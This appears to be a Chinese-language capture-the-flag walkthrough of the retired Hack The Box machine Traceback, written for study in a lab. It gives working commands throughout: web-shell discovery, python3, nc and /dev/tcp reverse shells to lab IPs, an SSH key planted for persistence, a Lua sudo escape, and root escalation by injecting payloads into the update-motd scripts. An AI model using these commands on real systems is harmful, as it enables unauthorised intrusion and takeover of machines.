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HTB-靶机-Traceback

开发技术 开发技术 2周前 (04-29) 8次浏览

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.181

本次使用https://github.com/Tib3rius/Traceback进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.181 -o ./Traceback-autorecon

masscan -p1-65535 10.10.10.181 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr 'n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.181

HTB-靶机-Traceback

发现就开放了两个端口22和80,直接访问80端口,发现页面提示反馈目标靶机被黑了,再查看burp抓包的响应信息,发现如下:
Some of the best web shells that you might need 
根据上述的信息丢到Google上搜索一把,发现一个GitHub链接
https://github.com/TheBinitGhimire/Web-Shells
链接显示有如下种类的webshell
alfav3-encoded.php
alfav4.1-decoded.php
alfav4.1-encoded.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
TwemlowsWebShell.php
wso2.8.5.php
通过目录爆破加载此webshell字典进行猜测
gobuster dir -u http://10.10.10.181 -w webshellwords.txt

HTB-靶机-Traceback

 发现了此webshell,根据GitHub上显示的内容,账号和密码都是admin,登录进去之后翻看了下功能,找到执行命令的位置,进行反弹shell,这里查找了支持反弹shell的环境,没有python2版本,但是有python3版本,nc也有,但是使用-e参数不成功,那就使用python3进行反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &

HTB-靶机-Traceback

HTB-靶机-Traceback

HTB-靶机-Traceback

HTB-靶机-Traceback

得到反弹shell之后,对应的用户是webadmin,到其家目录查看内容,发现提示
webadmin@traceback:/home$ cat /home/webadmin/note.txt
cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

这是让执行lua脚本啊,查看下历史记录

webadmin@traceback:/home$ history
history
    1  ls -la
    2  sudo -l
    3  nano privesc.lua
    4  sudo -u sysadmin /home/sysadmin/luvit privesc.lua
    5  rm privesc.lua
    6  logout
    7  id
    8  pwd
    9  id
   10  pw
   11  dls
   12  ls
   13  ls /home
   14  cd /home
   15  ls
   16  ls -la /home/webadmin/
   17  cat /home/webadmin/note.txt
   18  history
webadmin@traceback:/home$
看到上面就清晰明朗了,写一个lua脚本移动到用户sysadmin
https://gtfobins.github.io/gtfobins/lua/

echo "require('os');" > cntf.lua
echo "os.execute('/bin/bash');" >> cntf.lua

上述在tmp目录下生成,然后执行sudo横向移动
sudo -u sysadmin /home/sysadmin/luvit cntf.lua

HTB-靶机-Traceback

成功进行shell环境,但是不好看,使用bash -i进入一个带用户和主机名的shell环境,为了更好的shell环境操作,写一个公钥进去使用私钥登录

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali" >> /home/sysadmin/.ssh/authorized_keys

HTB-靶机-Traceback

开始要提权root了,查看下进程活动情况

通过pspy查看进程运行状况
https://github.com/DominicBreuker/pspy

HTB-靶机-Traceback

执行完成进程监控,发现如下可疑行为,确认是个计划任务每分钟执行一下这个备份脚本,来覆盖目录/etc/update-motd.d/下的所有文件

2021/04/28 19:57:11 CMD: UID=0    PID=1      | /sbin/init noprompt
2021/04/28 19:57:31 CMD: UID=0    PID=2684   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2021/04/28 19:58:01 CMD: UID=0    PID=2689   | sleep 30
2021/04/28 19:58:01 CMD: UID=0    PID=2688   | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2021/04/28 19:58:01 CMD: UID=0    PID=2687   | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2021/04/28 19:58:01 CMD: UID=0    PID=2686   | /usr/sbin/CRON -f
2021/04/28 19:58:01 CMD: UID=0    PID=2685   | /usr/sbin/CRON -f
2021/04/28 19:58:01 CMD: UID=???  PID=2690   | ???
2021/04/28 19:58:31 CMD: UID=0    PID=2691   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2021/04/28 19:59:01 CMD: UID=0    PID=2696   | sleep 30
2021/04/28 19:59:01 CMD: UID=0    PID=2695   | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2021/04/28 19:59:01 CMD: UID=???  PID=2693   | ???
2021/04/28 19:59:01 CMD: UID=0    PID=2692   | /usr/sbin/CRON -f
2021/04/28 19:59:31 CMD: UID=0    PID=2698   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/

根据上面信息,提权操作就是为了触发motd里面以root进程运行的脚本,从而反弹shell,具体相关资料如下:

https://manpages.ubuntu.com/manpages/trusty/man5/update-motd.5.html
https://linuxconfig.org/how-to-change-welcome-message-motd-on-ubuntu-18-04-server

反弹shell各种姿势如下:

第一种
https://inth3wild.medium.com/traceback-hack-the-box-writeup-bbd44187feef

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.2",8833));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);


第二种
echo "mkfifo /tmp/p; nc 10.10.14.2 8833 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p" >> /etc/update-motd.d/00-header
上述执行完成之后,快速执行ssh 10.10.10.181 -l sysadmin 触发脚本
升级为tty-shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

示例
sysadmin@traceback:/etc/update-motd.d$ export shell="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.110 4444 >/tmp/f"
sysadmin@traceback:/etc/update-motd.d$ echo $shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.110 4444 >/tmp/f
sysadmin@traceback:/etc/update-motd.d$ echo $shell >> 00-header
sysadmin@traceback:/etc/update-motd.d$ 

第三种
自己传个带参数-e的nc到目标靶机上去操作,可参考:https://dalemazza.github.io/htb/2020/08/26/HTB-Traceback-Write-up.html

第四种
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.7/443 0>&1"' >> 00-header

第五种
https://flast101.github.io/HTB-writeups/traceback/

第六种
echo 'chmod u+s /bin/bash' >> 00-header 

第七种
echo -ne '#!/bin/shnnrm -rf /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | /bin/nc 10.10.16.125 1234 >/tmp/p' > /etc/update-motd.d/00-header

HTB-靶机-Traceback

HTB-靶机-Traceback


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